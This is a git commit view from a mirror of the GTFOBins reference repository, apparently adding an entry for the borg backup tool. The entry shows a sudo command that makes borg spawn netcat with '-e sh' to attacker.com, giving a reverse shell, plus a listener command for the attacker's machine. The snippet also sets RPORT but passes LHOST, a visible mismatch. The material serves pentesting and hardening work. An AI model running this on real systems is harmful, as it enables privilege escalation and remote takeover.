mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
Create borg.md
This commit is contained in:
parent
b724cd9bc1
commit
b2d28b6a18
9
_gtfobins/borg.md
Normal file
9
_gtfobins/borg.md
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
---
|
||||||
|
sudo:
|
||||||
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
||||||
|
code: |
|
||||||
|
RHOST=attacker.com
|
||||||
|
RPORT=12345
|
||||||
|
NETCAT=/usr/bin/nc
|
||||||
|
sudo borg extract .@.:/::. --rsh "$NETCAT $RHOST $LHOST -e sh"
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user